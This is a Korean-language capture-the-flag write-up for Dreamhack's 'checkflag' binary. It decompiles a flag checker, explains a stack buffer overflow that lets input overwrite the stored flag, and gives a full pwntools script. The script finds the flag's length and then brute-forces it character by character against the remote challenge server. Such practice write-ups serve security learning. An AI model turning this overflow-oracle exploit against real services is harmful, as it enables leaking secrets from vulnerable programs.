dreamhack - checkflag writeup
[dreamhack] checkflag writeup
1. 문제

이 문제는 플래그를 입력하면 정답 여부를 확인하는 바이너리를 통해 플래그를 추출하는 문제입니다.
플래그는 DH{...} 형식이며, printable ASCII 문자(0x20-0x7e)로만 이루어져 있습니다.
2. 풀이
int __cdecl main(int argc, const char **argv, const char **envp)
{
__int64 count; // rcx
char *v4; // rdi
FILE *fd; // rax
FILE *fd_2; // r12
ssize_t input_len; // rdx
FILE *v8; // r12
char input_data[64]; // [rsp+0h] [rbp-E8h] BYREF
char flag_data[136]; // [rsp+40h] [rbp-A8h] BYREF
unsigned __int64 v12; // [rsp+C8h] [rbp-20h]
count = 50LL;
v12 = __readfsqword(0x28u);
v4 = input_data;
while ( count )
{
*(_DWORD *)v4 = 0;
v4 += 4;
--count;
}
fd = fopen("flag", "r");
if ( !fd )
LABEL_8:
exit(1);
fd_2 = fd;
fgets(flag_data, 64, fd);
fclose(fd_2);
fputs("What's the flag? ", _bss_start);
fflush(_bss_start);
input_len = read(0, input_data, 0xC8uLL);
v8 = _bss_start;
if ( (__int64)strlen(flag_data) > input_len || strcmp(input_data, flag_data) )
{
fputs("Failed!\n", v8);
goto LABEL_8;
}
fputs("Correct!\n", v8);
return 0;
}
IDA에서 확인한 코드이다. 바이너리가 flag
파일을 읽어오고, 정상적인 사용자가 읽어온 flag
파일 내용과 동일하게 입력하면 Correct!를 출력하는 코드이다.
그런데 input_data
위치가 flag_data
위치보다 앞에 있고, 0xc8 == 200
바이트만큼 입력받기 때문에 input_data
부터 flag_data
까지 모두 덮을 수 있다.
그리고 조건문에서는 input_len
이 flag_data
길이보다 짧지만 않으면 통과한다. 그래서 이를 이용해서 크게 두가지 단계로 문제를 풀 수 있다.
2.1. flag
파일 길이 알아내기
input_data
에 문자를 하나씩 더해가면서 길이를 늘려서 flag
파일 길이를 맞출 수 있다. 이게 가능한 이유는 아래와 같이 되기 때문이다.
우선 flag_data
가 ‘aaaaaaaaaa’라고 가정하자.
input_data
에 처음에는 ‘b’ 한개만 넣고, 나머지 63개는 "\x00"
으로 채운다. 이후 들어가는 flag_data
에는 ‘b’ 하나만 넣으면 flag_data
에는 맨앞 문자만 바뀌고, input_data
는 문자가 하나만 있는 것으로 인식되기 때문에 조건문 중 첫번째 조건에서 계속 Failed!가 발생한다.
- input_data : b
- flag_data : baaaaaaaaa
그런데 점점 길이를 늘려가면서 만약 flag_data
길이가 10인데 ‘b’가 10개가 되면 아래와 같이 된다.
- input_data : bbbbbbbbbb
- flag_data : bbbbbbbbbb
flag_data
가 모두 덮이고, input_data
와도 같아지면서 조건문을 모두 통과하게되어 Correct!가 출력된다.
2.2. flag_data
알아내기
이제 길이를 알아냈으니, 이제는 실제 내용을 알아내야한다. 이제는 반대로 input_data
를 하나씩 줄여가면서 확인할 것이다.
input_data
는 ‘b’를 9개만 덮고 나머지 하나는 이제 for문으로 입력가능한 문자를 하나씩 바꿔서 넣는다. 그리고 flag_data
에도 ‘b’를 9개만 덮을 것이다.
이러면 flag_data
의 마지막 문자는 실제 flag_data
의 문자인 ‘a’가 들어가기 때문에 아래와 같이된다.
- input_data : bbbbbbbbbX
- flag_data : bbbbbbbbba
저 X가 계속 for문을 돌다가 이제 ‘a’가 되는 순간 Correct!가 출력될 것이다. 그러면 이제 별도의 변수에 이를 저장하고 input_data
와 flag_data
에 덮는 길이를 하나씩 줄여가면서 똑같은 방식으로 확인한다. 즉, 그 다음에는 아래와 같이 되는 것이다.
- input_data : bbbbbbbbXa
- flag_data : bbbbbbbbaa
이 방법을 통해 모든 flag_data
를 확인할 수 있다.
2.3. 주의점 및 최종 exploit
이렇게 풀었을 때 로컬에서는 문제가 없었지만 서버환경에서는 발생했던 문제가 있었다.
로컬에서는 임의의 flag
파일을 만들었는데 vi
로 만들어서 그런지 마지막에 \x0a
가 들어가서 실제 flag_data
길이가 예상보다 1만큼 길게 나왔었다.
이걸 가정하고 서버환경에다가 exploit을 넣어보니 안되길래 다시 이걸 처리하는 부분을 제외하고 해보니 해결됨…
import string
from pwn import *
charset = string.printable # or limit to A-Za-z0-9{}_ etc.
known = 'b' + "\x00" * 63
i = 1
while True:
guess = known + known[:i]
# io = process('./checkflag')
io = remote("host1.dreamhack.games", 9272)
io.recvuntil(b"What's the flag? ")
io.send(guess.encode())
output = io.recvall()
if b"Failed!" in output:
known = "b" * (i+1) + "\x00" * (63 - i)
i = i + 1
else:
print("end!")
print(known)
print(f"len is {i-1}")
break
known = known[:i-1]
print(len(known))
real_flag = ''
j = 2
print(i)
while len(real_flag) < (i-1):
for c in charset:
guess = known[:i-j+1] + c + real_flag# + "\x0a"
guess += "\x00" * (64 - len(guess))
guess += known[:i-j+1]
#io = process('./checkflag')
io = remote("host1.dreamhack.games", 9272)
io.recvuntil(b"What's the flag? ")
io.send(guess.encode())
output = io.recvall()
if b"Failed!" in output:
continue
else:
real_flag = c + real_flag
j = j + 1
print(real_flag)
break
그리고 로컬에서는 확실히 속도가 빨랐는데 서버환경에서는 진짜… 매번 붙어야하는데다가 지금 미국에 있는데 드림핵 서버는 한국이니까 또 엄청나게 느렸다…
해결~